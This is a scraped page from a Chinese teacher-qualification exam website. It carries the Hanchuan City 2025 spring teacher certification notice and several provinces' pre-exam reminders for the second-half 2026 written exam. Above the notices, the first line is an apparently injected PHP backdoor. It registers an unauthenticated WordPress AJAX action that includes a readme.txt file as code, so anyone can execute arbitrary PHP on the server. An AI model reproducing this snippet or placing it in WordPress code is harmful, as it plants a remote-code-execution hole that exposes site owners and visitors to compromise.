if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖北省汉川市2025年春季教师资格认定工作公告-全国教师资格考试网

湖北省汉川市2025年春季教师资格认定工作公告

按照教育部教师资格认定指导中心统一部署,根据湖北省教师资格管理办公室《关于做好2025年中小学教师资格制度实施工作的通知》要求,结合我市实际,现就我市2025年春季教师资格认定的有关事项公告如下:

一、认定对象、范围

凡户籍或居住地(须持有汉川市居住证且在有效期内)在汉川市且未达到国家法定退休年龄的中国公民及驻我市部队现役军人、现役武警,均可在本市自愿申请幼儿园、小学和初级中学教师资格认定。

在汉川市学习、工作和居住的港澳台居民,持港澳台居民居住证可在居住地申请认定教师资格。申请认定教师资格的学历及其他条件、程序要求与内地(大陆)申请人相同。

二、申请人应具备的条件

申请人应符合《中华人民共和国教师法》、《教师资格条例》、《湖北省〈教师资格条例〉实施细则》、《湖北省教师资格认定工作有关政策的说明》(鄂教资〔2012〕1号)、《关于我省教师资格认定学历问题的说明》(鄂教资〔2012〕4号)、《关于我省申请幼儿园教师资格学历问题的通知》(鄂教资〔2015〕6号)等文件规定的条件。具体条件如下:

(一)思想品德条件

遵守宪法和法律,热爱教育事业,具有良好的思想品德,遵守教师职业道德,能履行《中华人民共和国教师法》规定的义务,能适应教育、教学工作的要求,无犯罪记录。

(二)学历标准及专业要求

1.申请幼儿园教师资格,应当具备幼儿师范学校毕业及以上学历。经省教育厅评估合格的49所中职学校的学前教育专业毕业生申请幼儿园教师资格时,其学历视为合格学历。

2.申请小学教师资格,应当具备高等院校专科毕业及以上学历。

3.申请初级中学教师资格,应当具备高等院校本科毕业及以上学历。

“结业”和“肄业”均不符合教师资格认定的学历要求。

(三)教师资格考试合格证明条件

2011年及以前入学且首次申请认定的普通全日制师范院校师范专业毕业人员,可以免教师资格考试合格证,认定与所学专业、学段相对应教师资格,但需提供相应学籍档案材料。2021年及以后毕业符合认定条件的教育类研究生和公费师范生,需取得《师范生教师职业能力证书》(有效期内)。其他人员需参加全国统一考试并取得《中小学教师资格考试合格证明》(有效期内)方可申请认定相应的教师资格。合格证明查询网址https://ntce.neea.edu.cn/。

(四)普通话要求

普通话水平应达到国家语言文字工作委员会颁布的《普通话水平测试等级标准》二级乙等及以上标准,申请语文学科、小学全科和幼儿园教师资格需达到二级甲等及以上标准。

(五)身体条件

具有良好的身体素质和心理素质,无传染性疾病,无精神病史,在认定机构指定的县级医院体检且体检结论为合格(符合《湖北省申请认定教师资格人员体检标准》)。

三、申请认定程序及时间要求

(一)网上报名

符合条件的申请人在规定时间段内登录中国教师资格网(https://www.jszg.edu.cn/),按《湖北省2025年中小学教师资格认定公告》操作流程进行申报。

1.注册个人账号并完善个人信息。符合条件的申请人在中国教师资格网开放时间注册个人账号,完善个人信息,并在申请人员申请的认定机构网报时间段内登录报名。

特别提示:身份证件号码一经注册,不允许修改。如果身份证号码填写错误,需要重新进行用户注册。若身份证号码没有错误,只是信息填写错误,需要进入实名核验页面修改,再进行实名核验,通过后即可修改成功。

2.网上报名时间:2025年4月21日7:00—4月28日17:00。

3.网上报名注意事项。

符合条件的申请人员在规定时间内,用本人账号登录中国教师资格网进行申报。教师资格认定申请人进入申报系统的入口为“首页”——“网上办事”——“教师资格认定”——“认定报名”,也可从顶部“导航栏”——“网上办事”——“教师资格认定”— —“在线办理”访问。具体操作请仔细阅读“网上办事”栏目下的“教师资格认定申请人使用手册”。

申报时应根据认定资格证学段,按网站提示选择认定机构、现场审核确认点,在我市申请认定幼儿园、小学和初级中学教师资格认定机构选择为——汉川市教育局,现场确认点选择为——汉川市教育局。

网上填报的信息必须真实、准确,因错报、瞒报所造成的后果由申请人自负。

(二)签署《个人承诺书》

申请人请点击个人承诺书图片,通过手机浏览器、微信、支付宝或其他扫码工具扫描页面中弹出的二维码,并在手机端手写签名。提交签名后,点击网页端的“已提交”按钮,查看签名合成后的效果。如需修改,可点击合成后的图片,重新获取二维码。如预览时发现上传的《个人承诺书》位置不正确、不清晰或签名不完整,请务必重新上传,以免影响认定。

(三)现场确认

网上报名成功后,申请人员按规定时间到汉川市教育局(汉川市广场路7号)203室进行现场确认。

现场确认时间为:2025年4月27日至5月7日(工作日上午8:30—12:00,下午15:00—17:30)。

申请人员到现场确认时应提交以下材料:

1.二代身份证(需在有效期内)原件。

2.学历证书原件。

特别提示:学历信息经过学信网电子信息比对的可不提交学历证书。在审核材料过程中,对于国家认定信息系统无法直接比对验证的学历(中等职业学校学历除外),申请人须提交《中国高等教育学历认证报告》(在学信网(www.chsi.com.cn)在线申请),否则视为不合格学历将不予受理。建议申请人提前在学信网验证学历,无法验证的及时申请认证报告。

3.《普通话水平测试等级证书》原件(认定系统能验证的可不提交)。

4.《中小学教师资格考试合格证明》(由申请人在国家中小学教师资格考试网(ntce.neea.edu.cn)上自行打印)或《师范生教师职业能力证书》(认定系统能核验的不提交)。

5.近期免冠正面1寸彩色白底证件照2张(正规证件相片,用以办理教师资格证书,应与网上申报时上传相片同底版,相片背面写明姓名、身份证号,相片装袋)。

6.在户籍所在地申请认定的,提交本人户口本(须有户口本主页家庭住址页、全户人员关系页、个人信息页)或集体户口证明原件;在居住地申请认定的,应当提交有效的居住证原件(注:临时居住证、暂住证和居住证明等不能替代使用);现役军人和现役武警在服役地申请的,应提供军官证或警官证,如证件上不能显示服役所在地,另需提供所属部队或单位的组织人事部门出具的人事关系证明,证明格式依该部队或单位的规定而定,证明应明示申请人服役所在地。在汉川市学习、工作和居住的港澳台居民,提交港澳台居民居住证。

7.2011年及以前入学的普通全日制师范教育专业毕业非统考类人员除提供以上1-3、5-6项材料外,还须提供个人档案中的教育学、心理学、教材教法成绩单以及教育实习合格证明的原件或个人档案管理部门盖章的复印件。

(四)体检

申请人严格按照《湖北省申请认定教师资格人员体检标准及办法》(鄂教师〔2002〕3号)(申请幼儿园教师资格人员的体检按照教育部教师资格认定指导中心《关于调整申请认定幼儿园教师资格人员体检标准的通知》)的规定执行体检,所有体检项目必须完检,体检合格。湖北省人民医院为疑义问题终检医院。

体检地点:汉川市人民医院(汉川市人民大道特1号);

联系电话:0712-8381368

体检时间:2025年4月27日至5月7日(周一到周六上午7:30-11:30)。

体检当日空腹,体检时必须携带本人身份证原件,体检前一天注意休息,避免剧烈运动,前两天内尽量清淡饮食。体检医院对申请人体检情况做出结论,并加盖体检医院公章,体检表照片处加盖体检医院骑缝章,体检表粘贴单栏须粘贴血液化验、胸透检查、心电图检查等体检原始单据)。

特别提示:

1.备孕人员须完全按体检表内容逐项检查,不可缺项;怀孕人员可免做胸透项目,但需提供教师资格认定机构指定体检医院出具的相关医学检查证明。

2.体检完成后,申请人不得擅自将体格检查表带离医院。体检结果将由体检医院体检中心直接转送至认定机构,禁止本人领取,本人领取后体检结果无效。

3.申请人因个人原因未完成体检的,本次认定不予受理。

(五)无犯罪记录和从业禁止查询

1.汉川市户籍申请人无需提供无违法犯罪记录证明,无违法犯罪记录核查由教师资格认定机构到汉川市公安机关核查。

2.居住地类型的申请人(持有汉川市居住证外地户籍人员),请协助认定机构联系户籍地公安部门核查无违法犯罪记录(个人可提前网上申请)。

3.港澳台居民申请认定初中、小学或幼儿园教师资格需提供无犯罪记录证明。港澳台居民无犯罪记录证明分别由香港特别行政区政府香港警务处、澳门特别行政区政府身份证明局和台湾地区有关部门开具。申请人需及时到所选择的认定机构开具《无犯罪记录证明函件》,申请人自行将函件交给香港、澳门及台湾相关部门,由其核实后将核查结果交给相关认定机构。核查结果将作为认定依据。未能按时提供核查结果书面回函的,本次教师资格认定申请无效。

4.根据《最高人民检察院、教育部和公安部关于建立教职员工准入查询性侵违法犯罪信息制度的意见》(高检发〔2020〕14号),认定机构将对申请人的性侵违法犯罪信息进行查询,对经准入查询发现有性侵违法犯罪信息的,不予认定。

四、颁发证书

凡经过审核,确认为符合相应教师资格条件者,在现场确认工作结束之日起30个工作日内,由汉川市教育局在汉川市人民政府网上公示认定结果,颁发教师资格证书及《教师资格认定申请表》。

经认定合格的教师资格申报人员于2025年6月底至7月初(双休日除外)到汉川市政务服务中心教育窗口领取教师资格证书和《教师资格认定申请表》。现场领取证书与认定申请表时,本人领取只需提供本人身份证原件,他人代领时需提供代领人身份证原件及复印件,认定人员身份证复印件和《证书代领委托书》原件,以防冒充领取他人证书。教育窗口服务电话:0712-8385066。

特别说明:“认定申请表”与教师资格证书同等重要,务必妥善保管。

五、其他事项

1.申请人在体检和现场确认时要积极配合工作人员相关安排,服从现场管理,有序进行现场确认。

2.申请人按规定时间、地点和要求进行网上申报和现场确认,因错过申报时间、选错认定机构或现场确认点、申报信息有误、找错体检医院或提交材料不全等原因未在规定时间内完成申报工作的,汉川市教育局将不再受理,责任由申请人本人承担。

3.为提高工作效率,请申报人员加入汉川市教育局2025年春季教师资格认定工作QQ群,群号643334858(临时性工作群,阶段性资格认定工作完成后将清退群成员)。

4.申请人同一自然年只能申请认定一种教师资格。

5.申请人在申请认定过程中如有弄虚作假、骗取教师资格行为的,一经查实,依据相关法规,将会受到“撤销”或“丧失”教师资格的处罚,被撤销教师资格者自撤销之日起5年内不得重新取得教师资格;丧失教师资格者不得重新申请认定教师资格。

联系人:向老师  咨询电话:0712-8392203

 

附件:湖北省汉川市2025年春季教师资格认定工作公告附件1:湖北省中小学教师资格申请人员体检表.doc

                 湖北省汉川市2025年春季教师资格认定工作公告附件2:湖北省幼儿园教师资格申请人员体检表.doc

汉川市教育局

2025年4月9日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部